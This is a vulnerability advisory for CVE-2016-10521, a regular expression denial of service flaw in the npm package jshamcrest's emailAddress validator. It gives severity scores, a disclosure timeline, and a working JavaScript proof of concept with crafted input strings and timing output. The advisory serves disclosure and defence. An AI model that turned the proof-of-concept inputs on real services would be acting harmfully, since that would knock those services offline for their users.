logo

CVE-2016-10521 jshamcrest

Package

Manager: npm
Name: jshamcrest
Vulnerable Version: >=0 <=0.7.1

Severity

Level: High

CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CVSS v4.0: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N

EPSS: 0.00334 pctl0.55653

Details

Regular Expression Denial of Service in jshamcrest The `jshamcrest` package is affected by a regular expression denial of service vulnerability when certain types of user input are passed in to the emailAddress validator. ## Proof of concept ```js var js = require('jshamcrest') var emailAddress = new js.JsHamcrest.Matchers.emailAddress(); var genstr = function (len, chr) { var result = ""; for (i=0; i<=len; i++) { result = result + chr; } return result; } for (i=1;i<=10000000;i=i+1) { console.log("COUNT: " + i); var str = '66666666666666666666666666666@ffffffffffffffffffffffffffffffff.' + genstr(i, 'a') + '{' console.log("LENGTH: " + str.length); var start = process.hrtime(); emailAddress.matches(str) var end = process.hrtime(start); console.log(end); } ``` ### Results It takes about 116 characters to get a 1.6 second event loop block. ``` [ 1, 633084590 ] COUNT: 51 LENGTH: 116 ``` # Timeline - October 25, 2015 - Vulnerability Identified - October 25, 2015 - Maintainers notified (no response) ## Recommendation The `jshamcrest` package currently has no patched versions available. At this time, the best available mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.](https://www.npmjs.com/search?q=validator).

Metadata

Created: 2019-02-18T23:38:51Z
Modified: 2023-09-13T22:47:33Z
Source: https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2019/02/GHSA-xj62-87pg-vcv3/GHSA-xj62-87pg-vcv3.json
CWE IDs: ["CWE-400"]
Alternative ID: GHSA-xj62-87pg-vcv3
Finding: F002
Auto approve: 1